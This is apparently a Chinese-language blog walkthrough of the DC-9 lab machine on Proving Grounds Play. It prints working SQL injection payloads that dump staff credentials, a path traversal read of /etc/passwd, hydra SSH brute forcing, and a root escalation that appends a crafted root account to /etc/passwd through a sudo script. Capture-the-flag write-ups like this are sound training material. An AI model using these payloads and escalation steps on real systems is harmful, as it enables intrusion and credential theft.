Proving Grounds Play : DC-9 Walkthrough

 Proving Grounds Play : DC-9 Walkthrough


Foothold :

  • 80 Web 的 Search 發現 SQLi ,使用 sqlmap 讀取 DB 發現網站密碼
  • 網站帳號密碼登入列舉使用者
  • sqlmap 在另一個資料庫讀取到多組密碼
  • hydra 測試得到多組憑證,其中一組 SSH 登入後發現某個密碼檔
  • 再次 hydra 得到新的憑證,SSH 登入後獲取第一階段 flag

PE :

  • sudo -l 有個特別的檔案,有告知 Usage 用法
  • 參考內容是讀取第一個檔案內容寫入第二個檔案
  • 標準利用在 /etc/passwd 建立使用者後 su 切換該使用者成功提權


Rustscan,└─$ rustscan -a 192.168.151.209 --scripts none --ulimit 5000 | tee rustscan

一開始只有出現 80 Port,多掃了幾次出現了 22 Port


snmp check,└─$ sudo nmap -sU -p 161 192.168.151.209 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.151.209 | tee nmap

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)

80/tcp open  http    Apache httpd 2.4.38 ((Debian))



whatweb,└─$ whatweb http://192.168.151.209 | tee whatweb



80 /



80 /robots.txt



80 /index.php



80 /display.php 獲得一堆使用者帳號



80 /search.php



先製作使用者帳號清單



80 /search.php 輸入 monica 顯示出 Monica 相關資訊,網頁是 /results.php



80 /manage.php 需要帳號密碼驗證



測試常用的帳號密碼組合,與網頁上列舉到的使用者帳號密碼一只都沒有用



gobuster 80 /,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.151.209 -c -t 150 -x txt,pdf,zip,git,php | tee gobuster     



80 /css



80 /includes



製作密碼檔跟帳號依樣然後多全小寫的帳號當作密碼



hydra 爆破 22 SSH,└─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.151.209   

沒有得到任何有用的憑證



初步枚舉沒有下一步的發現,只能回到網頁查看是否有 SQL Injection 的可能

登入的帳號欄位使用基本的 SQL Injection 測試沒有結果



將登入的動作存成 manage.txt 檔案



直接 sqlmap 測試看看

└─$ sqlmap -r manage.txt -p username --os-shell --web-root "/var/www/html/tmp" 

看來該欄位無法注入


接著將 search 的輸入存成檔案 search.txt



sqlmap 測試看看,└─$ sqlmap -r search.txt -p search --dbs

看來中獎了,直接告知有兩個 DB 分別是 Staff & users
Payload 有三種格式且 Union 算出來是 6 columns



└─$ sqlmap -r search.txt -p search -D Staff --tables

資料庫 Staff 裡面有兩個 Tables 分別是 StaffDetails、Users



StaffDetails 的欄位看來就跟網頁看到的一樣沒甚麼特別



改看 Users,發現有密碼欄位



直接 dump 出來看看發現 admin:856f5de590ef37314e7c3bdf6f8a66dc

sqlmap 有直街詢問要不要 md5 破解看來沒有破解出來,看來沒有破解出來



直接改用 hashcat 帶上 Rule 破解看看

└─$ hashcat -m 0 admin.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 

一樣沒有破解出來


後來線上測試看看,參考 https://crackstation.net/

直接破解出來密碼是 transorbital1



hashes.com 也可以成功破解,參考 : https://hashes.com/en/decrypt/hash



hydra 22 Port 測試沒有結果



回到網頁的 /manage.php 測試看看



成功登入了,多了一個 Add Record 的權限



可以真的建立使用者



Display 也可以看到成功新增



剛剛成功新增的頁面是 /addrecorddb.php 但是網頁有個特別的顯示叫做 File dose not exist



會叫 file 那就用 file 當作條件來 Path Traversal 看看

http://192.168.151.209/addrecorddb.php?file=../../../../../../../../etc/passwd

真的列舉出來了



帳號其實是名字加上姓氏第一個字小寫字母,整理完畢如下



使用者真的很多,下一步列舉 /home/<使用者>/.ssh/id_rsa 內容

結果一個都沒有,看來這一條路是錯的



嘗試其它列舉,有發現這個檔案 /etc/knockd.conf


該文字檔說明如下 :
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
意思是說會在 7469、8475、9842 Port 依序敲擊後才會開啟 22 Port
這也是一開始 Rustscan 沒有發現 22 Port 後來多掃幾次就出現的原因
在這裡幫助我們解釋一開始掃 Port 遇到的狀況,但目前知道這個後沒有任何幫助



改回到 sqlmap 去察看另外一個資料庫 users 看看,僅有一個 Table 叫做 UserDetails



查看欄位,這個資料表也有密碼欄位



直接 dump 出來是明碼耶



直接 hydra 測試看看獲得三組有效憑證

chandlerb:UrAG0D!

joeyt:Passw0rd

janitor:Ilovepeepee



使用三個帳號都沒有進一步的發現且找不到 local.txt

後來在 janitor 使用者的 HOME 目錄底下有個隱藏的資料夾

名稱是 .secrets-for-putin,然後裡面有個檔案 passwords-found-on-post-it-notes.txt

檔案內容看來是密碼,因為第一個密碼有出現在 DB 資料庫中

共有 6 個密碼,比對了一下前 3 個有在資料庫中出現,後 3 個沒有出現過

將後 3 個加入到密碼檔 passwords.txt



再次執行 hydra 測試看看,發現新的憑證 fredf:B4-Tru3-001



使用 fredf 帳號登入終於讀到 local.txt 且是在 fredf 使用者的 Home 目錄底下

看來這次方向對了



sudo -l 可以執行 /opt/devstuff/dist/test/test 

cat 看一下內容完全是亂碼



strings 看一下內容也看不出所以然



直接執行看看 sudo /opt/devstuff/dist/test/test

告知 Usage: python test.py read append

看來是會跑 python 執行 test.py 然後讀取再附加,有看沒有懂



找找看 test.py 在哪裡,發現有兩個 test.py 檔案

第一個在 /opt/devstuff/test.py

看看內容有這句話 print ("Usage: python test.py read append") 所以看來是這個檔案



這一段 code 如下

else :

    f = open(sys.argv[1], "r")

    output = (f.read())


    f = open(sys.argv[2], "a")

    f.write(output)

    f.close()

先開第一個檔案然後讀,接著開第二個檔案然後寫入

所以 read 就是第一個檔案,append 就是第二個檔案

已經做過這麼多靶機,這個看來就是標準的寫入 /etc/passwd 建立使用者

所以我們先寫一個檔案 adduseraries 去建立使用者 aries 然後密碼用 Oscp#1234

echo "aries:\$1\$qaKzzjN8\$y6Ga3/.6H2y8.LOryHjhZ.:0:0:/root:/bin/bash" > /tmp/adduseraries



依據 usage 格式執行指令

sudo /opt/devstuff/dist/test/test /tmp/adduseraries /etc/passwd

接著看一下 /etc/passwd 可以看到使用者已經新增了


直接 su aries 然後 whoami & id 確認提權為 root,讀取 proof.txt



補充說明 :

前面的 search.php 使用 sqlmap 直接打進去,這裡來補充手工的作法

原本在搜尋欄位輸入 Monica 會顯示 Monica 的資訊

這時候改用 Monica' OR 1=1 -- //



會顯示所有人的資訊,可以手動確認這個欄位有 SQLi 的注入



SQLi 的 Payload 可以參考這個網站 https://github.com/payloadbox/sql-injection-payload-list



先將原有的 Monica' OR 1=1 -- // 送到 Burp Suite 然後保留 Monica' (有包含一個空格)
參數如下 Monica' $$


在 Payloads 裡面貼上 Time Base 的 Payload 然後開始攻擊


大部分的 Time Base 都是設定 SLEEP 5 秒,所以直接看結果超過 5 秒得到回應的
可能就是有用的 Payload



接著就是透過 Repeater 一一手動測試驗證結果
以這個 Payload 為例 Monica' ORDER BY SLEEP(5)# 手動測試了幾次都有正常得到 Monica
的員工資訊且都是等待了 5 秒後才收到回應,所以證實 SLEEP(5) 是有用的
選這一個主要是因為它是 ORDER BY,後續我們還要確認有幾個欄位



維持原有 Payload 的格式,替換 SLEEP(5) 數值城我們想要的即可,其它維持原有格式

例如先將結果輸出依據第一個欄位來做 ORDER BY 排序,Payload 使用 Monica' ORDER BY 1#



送到 Burp Suite 測試,Monica' ORDER BY 1# 確認可以正常顯示



因為顯示結果是 5 個欄位資訊,一般資料庫會設計 UID 欄位所以猜測總共有 6 個欄位

先測試參數改 6 試試看,Payload 使用 Monica' ORDER BY #6 確認一樣可以正常獲得資料



接著改用 Payload Monica' ORDER BY 7# 可以看到結果是 0 results

所以證實是 6 個欄位



已知結果是 6 個欄位,依據所學的方式進行列舉
參考 : https://your-it-note.blogspot.com/2023/08/sql-injection.html



先測試看看標準 6 個欄位的 SQLi

Payload = Monica' UNION SELECT null, null, null, null, null, null#

結果顯示正常輸出了 Monica 的資訊與沒有值的 5 個欄位(沒顯示的應該是 UID)



接著使用 Monica' UNION SELECT database(), user(), @@version, null, null, null#

列舉現有的資料庫名稱,讀取 DB 的使用者與版本資訊如下

 - database() = Staff

 - user() = dbuser@localhost

 - @@version = 10.3.17-MariaDB- 0+deb10u1



有時候第一個欄位想要的資訊沒有顯示,一般是 UID 欄位不顯示

這裡測試將 database() 放到最後一個欄位,輸出沒有顯示

所以可以知道不顯示的是第 6 個欄位,後續枚舉時不要將輸出放到第 6 個欄位



資料庫相關資訊存在放 "information_schema" 數據庫檢索列表中

現在我們有 6 個欄位可以輸出,然後顯示 5 個欄位(第 6 個是隱藏的欄位不輸出顯示)

所以我們可以先列舉資料庫,資料庫預設的資訊是放在 information_schema.schemata

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(schema_name),NULL,NULL from information_schema.schemata#

可以看到有兩個資料庫 Staff、users,其中一個 Staff 就是現有 Monica 資料輸出的資料庫



接著查看 Staff 資料庫底下的 Tables,資料表資訊放在 information_schema.tables

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(table_name),NULL,NULL from information_schema.tables where table_schema = 'Staff'#

有兩張 Tables 分別是 StaffDetails、Users



接著看一下資料表 StaffDetails 有哪些欄位

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(column_name),NULL,NULL from information_schema.columns where table_schema = 'StaffDetails'#

沒有得到 column 的欄位資訊



試試看另外一個資料表 Users

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(column_name),NULL,NULL from information_schema.columns where table_schema = 'Users'#

一樣沒有得到結果



那就直接將這個資料庫中所有的欄位列舉出來

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(column_name),NULL,NULL from information_schema.columns where table_schema=database()#

這一次有結果了,當中還有看到最愛的 Password 欄位,可以知道有這幾個欄位

id、firstname、lastname、position、phone、email、reg_date、UserID、Username、Password



前面幾個欄位看來就是網頁上顯示的欄位,我們對後面的欄位比較感興趣

列舉最後兩個欄位 Username、Password 看看

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(Username,Password),NULL,NULL from information_schema.columns where table_schema=database()#

沒有任何結果



已知有兩張 Tables 分別是 StaffDetails、Users

前面幾個欄位隸屬 StaffDetails 資料表,所以這一次要列舉的 Useername、Password 應隸屬

後面那張資料表 Users,所以直接從資料表撈欄位資訊,將 Payload 修改如下

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(Username,Password),NULL,NULL from Users#

得到值 admin856f5de590ef37314e7c3bdf6f8a66dc



雖然這個值 admin856f5de590ef37314e7c3bdf6f8a66dc 用猜的也知道帳號是 admin

密碼 HASH 是 856f5de590ef37314e7c3bdf6f8a66dc,但若帳號識別的且剛好有數字就很難區分

所以可以優化 Payload 語法如下,在兩個欄位中間插入符號 ":",encode 表示法是 0x3a

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(Username,0x3a,Password),NULL,NULL from Users#

這一次的輸出漂亮多了,兩個欄位中間插入了 :,所以可以更加的好辨識兩個值

admin:856f5de590ef37314e7c3bdf6f8a66dc

這個與前面 sqlmap 輸出的值一樣,後續利用就不贅述



還有另一個資料庫 users,一樣先列舉該資料庫的 Tables

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(table_name),NULL,NULL from information_schema.tables where table_schema = 'users'#

只有一張資料表,名稱是 UserDetails



列舉該資料庫 users 有哪些欄位

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(column_name),NULL,NULL from information_schema.columns where table_schema = 'users'#

獲得欄位 id、firstname、lastname、username、password、reg_date



因為有個資料庫叫 users 另外第一個資料庫有個資料表叫 Users

直接使用的話會判斷成資料庫,所以後續要列舉第二個資料庫 users 時要指定資料表

Payload = Monica' UNION SELECT NULL,NULL,NULL,group_concat(Username,0x3a,Password),NULL,NULL from users.UserDetails#

得到使用者名稱與密碼如下

marym:3kfs86sfd,julied:468sfdfsd2,fredf:4sfd87sfd1,barneyr:RocksOff,tomc:TC&TheBoyz,jerrym:B8m#48sd,wilmaf:Pebbles,bettyr:BamBam01,chandlerb:UrAG0D!,joeyt:Passw0rd,rachelg:yN72#dsd,rossg:ILoveRachel,monicag:3248dsds7s,phoebeb:smellycats,scoots:YR3BVxxxw87,janitor:Ilovepeepee,janitor2:Hawaii-Five-0



簡單整理一下獲得的值如下跟 sqlmap 拿到的一樣

marym:3kfs86sfd

julied:468sfdfsd2

fredf:4sfd87sfd1

barneyr:RocksOff

tomc:TC&TheBoyz

jerrym:B8m#48sd

wilmaf:Pebbles

bettyr:BamBam01

chandlerb:UrAG0D!

joeyt:Passw0rd

rachelg:yN72#dsd

rossg:ILoveRachel

monicag:3248dsds7s

phoebeb:smellycats

scoots:YR3BVxxxw87

janitor:Ilovepeepee

janitor2:Hawaii-Five-0


由於剛剛在嘗試第二個資料庫 users 的表 UserDetails 使用了 users.UserDetails

回去優化查詢資料表與欄位的語法

Payload = Monica' union select null, null, table_name, column_name, null, null from information_schema.columns where table_schema=database()#

這樣就可以看到資料表名稱與它的欄位對應



預設的資料庫就是 StaffDetails 所以我們也可以將 Username & Password 放到兩個欄位輸出如下

Payload = Monica' union select null, null, Username, Password, null, null from Users#

可以看到 admin 跟密碼 HASH 值分別在兩個欄位輸出,這樣也可避免值連在一起不好判斷




其它補充 :

Port Knocking 技術就是被訪問特定的 Port 後,設定的 Port 才會打開

故列舉時可以看看有否 Port Knocking 設定檔

有關 Port Knocking 可以參考 https://wiki.archlinux.org/title/Port_knocking

檔案設定檔一般位於 /etc 目錄下,設定檔預設名稱是 knockd.conf






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)